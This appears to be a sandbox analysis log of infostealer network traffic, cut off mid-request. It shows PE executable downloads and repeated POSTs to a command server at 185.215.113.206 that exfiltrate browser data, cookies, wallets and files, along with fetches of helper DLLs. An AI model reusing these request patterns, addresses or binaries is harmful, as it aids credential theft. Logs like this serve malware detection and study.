1a 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 63 67 67 72 77 63 7a 00 10 00 00 00 f0 4b 00 00 04 00 00 00 1e 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 4c 00 00 22 00 00 00 22 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 08:18:10 GMTContent-Type: application/octet-streamContent-Length: 4497920Last-Modified: Sat, 23 Nov 2024 07:53:22 GMTConnection: keep-aliveETag: "674189f2-44a200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 50 c8 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 80 c8 00 00 04 00 00 f8 e7 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 3f c8 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e4 3e c8 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 3a 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 7a 62 76 76 6d 6a 61 00 f0 1c 00 00 50 ab 00 00 f0 1c 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 64 6d 66 63 6c 6f 74 00 10 00 00 00 40 c8 00 00 04 00 00 00 7c 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 c8 00 00 22 00 00 00 80 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 08:18:23 GMTContent-Type: application/octet-streamContent-Length: 1852416Last-Modified: Sat, 23 Nov 2024 08:12:48 GMTConnection: keep-aliveETag: "67418e80-1c4400"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 f0 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 49 00 00 04 00 00 65 4a 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 05 00 00 10 00 00 00 62 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 05 00 00 02 00 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 05 00 00 02 00 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 29 00 00 90 05 00 00 02 00 00 00 76 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 6c 6d 75 69 77 6a 70 00 b0 19 00 00 30 2f 00 00 a6 19 00 00 78 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 73 78 74 77 61 76 62 00 10 00 00 00 e0 48 00 00 04 00 00 00 1e 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 48 00 00 22 00 00 00 22 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGIJEGHDAECAKECAFCAKHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 42 30 41 34 33 35 35 37 46 36 36 32 33 30 30 30 30 33 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 2d 2d 0d 0a Data Ascii: ------DGIJEGHDAECAKECAFCAKContent-Disposition: form-data; name="hwid"D5B0A43557F6623000030------DGIJEGHDAECAKECAFCAKContent-Disposition: form-data; name="build"mars------DGIJEGHDAECAKECAFCAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEHJDHCBAEHJJJKKFIDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 38 61 65 30 36 34 66 62 66 65 33 30 33 39 39 31 61 31 61 34 61 38 35 39 63 32 30 66 34 61 35 30 31 65 39 63 62 37 64 33 35 33 64 64 30 65 63 36 30 33 30 36 39 31 33 65 35 31 64 34 38 38 65 65 64 37 37 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 2d 2d 0d 0a Data Ascii: ------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="token"c58ae064fbfe303991a1a4a859c20f4a501e9cb7d353dd0ec60306913e51d488eed77851------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="message"browsers------GIEHJDHCBAEHJJJKKFID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGIJEGHDAECAKECAFCAKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 38 61 65 30 36 34 66 62 66 65 33 30 33 39 39 31 61 31 61 34 61 38 35 39 63 32 30 66 34 61 35 30 31 65 39 63 62 37 64 33 35 33 64 64 30 65 63 36 30 33 30 36 39 31 33 65 35 31 64 34 38 38 65 65 64 37 37 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 2d 2d 0d 0a Data Ascii: ------DGIJEGHDAECAKECAFCAKContent-Disposition: form-data; name="token"c58ae064fbfe303991a1a4a859c20f4a501e9cb7d353dd0ec60306913e51d488eed77851------DGIJEGHDAECAKECAFCAKContent-Disposition: form-data; name="message"plugins------DGIJEGHDAECAKECAFCAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKFIIEBKEGIEBFIJKFIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 38 61 65 30 36 34 66 62 66 65 33 30 33 39 39 31 61 31 61 34 61 38 35 39 63 32 30 66 34 61 35 30 31 65 39 63 62 37 64 33 35 33 64 64 30 65 63 36 30 33 30 36 39 31 33 65 35 31 64 34 38 38 65 65 64 37 37 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="token"c58ae064fbfe303991a1a4a859c20f4a501e9cb7d353dd0ec60306913e51d488eed77851------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="message"fplugins------JKKFIIEBKEGIEBFIJKFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCAKKECAEGDGCBFIJEGHHost: 185.215.113.206Content-Length: 5907Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDHDHJEBGHJKFIECBGHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 38 61 65 30 36 34 66 62 66 65 33 30 33 39 39 31 61 31 61 34 61 38 35 39 63 32 30 66 34 61 35 30 31 65 39 63 62 37 64 33 35 33 64 64 30 65 63 36 30 33 30 36 39 31 33 65 35 31 64 34 38 38 65 65 64 37 37 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 2d 2d 0d 0a Data Ascii: ------ECGDHDHJEBGHJKFIECBGContent-Disposition: form-data; name="token"c58ae064fbfe303991a1a4a859c20f4a501e9cb7d353dd0ec60306913e51d488eed77851------ECGDHDHJEBGHJKFIECBGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------ECGDHDHJEBGHJKFIECBGContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------ECGDHDHJEBGHJKFIECBG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDGHJEHJJDAAAKEBGCFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 38 61 65 30 36 34 66 62 66 65 33 30 33 39 39 31 61 31 61 34 61 38 35 39 63 32 30 66 34 61 35 30 31 65 39 63 62 37 64 33 35 33 64 64 30 65 63 36 30 33 30 36 39 31 33 65 35 31 64 34 38 38 65 65 64 37 37 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 2d 2d 0d 0a Data Ascii: ------BGDGHJEHJJDAAAKEBGCFContent-Disposition: form-data; name="token"c58ae064fbfe303991a1a4a859c20f4a501e9cb7d353dd0ec60306913e51d488eed77851------BGDGHJEHJJDAAAKEBGCFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BGDGHJEHJJDAAAKEBGCFContent-Disposition: form-data; name="file"------BGDGHJEHJJDAAAKEBGCF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJKFBKKECFHJKEBKEHIHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGIEBGHDAEBGDGCFIIDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 49 45 42 47 48 44 41 45 42 47 44 47 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 38 61 65 30 36 34 66 62 66 65 33 30 33 39 39 31 61 31 61 34 61 38 35 39 63 32 30 66 34 61 35 30 31 65 39 63 62 37 64 33 35 33 64 64 30 65 63 36 30 33 30 36 39 31 33 65 35 31 64 34 38 38 65 65 64 37 37 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 45 42 47 48 44 41 45 42 47 44 47 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 45 42 47 48 44 41 45 42 47 44 47 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 45 42 47 48 44 41 45 42 47 44 47 43 46 49 49 44 2d 2d 0d 0a Data Ascii: ------HDGIEBGHDAEBGDGCFIIDContent-Disposition: form-data; name="token"c58ae064fbfe303991a1a4a859c20f4a501e9cb7d353dd0ec60306913e51d488eed77851------HDGIEBGHDAEBGDGCFIIDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDGIEBGHDAEBGDGCFIIDContent-Disposition: form-data; name="file"------HDGIEBGHDAEBGDGCFIID--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFBGDHCBAEHIDGCGIDAHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIEBAAKJDHIECAAFHCHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 38 61 65 30 36 34 66 62 66 65 33 30 33 39 39 31 61 31 61 34 61 38 35 39 63 32 30 66 34 61 35 30 31 65 39 63 62 37 64 33 35 33 64 64 30 65 63 36 30 33 30 36 39 31 33 65 35 31 64 34 38 38 65 65 64 37 37 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 2d 2d 0d 0a Data Ascii: ------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="token"c58ae064fbfe303991a1a4a859c20f4a501e9cb7d353dd0ec60306913e51d488eed77851------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="message"wallets------IDHIEBAAKJDHIECAAFHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGDBFIJKEBGIDGDHCGCHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 44 42 46 49 4a 4b 45 42 47 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 38 61 65 30 36 34 66 62 66 65 33 30 33 39 39 31 61 31 61 34 61 38 35 39 63 32 30 66 34 61 35 30 31 65 39 63 62 37 64 33 35 33 64 64 30 65 63 36 30 33 30 36 39 31 33 65 35 31 64 34 38 38 65 65 64 37 37 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 44 42 46 49 4a 4b 45 42 47 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 44 42 46 49 4a 4b 45 42 47 49 44 47 44 48 43 47 43 2d 2d 0d 0a Data Ascii: ------KEGDBFIJKEBGIDGDHCGCContent-Disposition: form-data; name="token"c58ae064fbfe303991a1a4a859c20f4a501e9cb7d353dd0ec60306913e51d488eed77851------KEGDBFIJKEBGIDGDHCGCContent-Disposition: form-data; name="message"files------KEGDBFIJKEBGIDGDHCGC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJEBGDAFHJEBGDGIJDHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 38 61 65 30 36 34 66 62 66 65 33 30 33 39 39 31 61 31 61 34 61 38 35 39 63 32 30 66 34 61 35 30 31 65 39 63 62 37 64 33 35 33 64 64 30 65 63 36 30 33 30 36 39 31 33 65 35 31 64 34 38 38 65 65 64 37 37 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 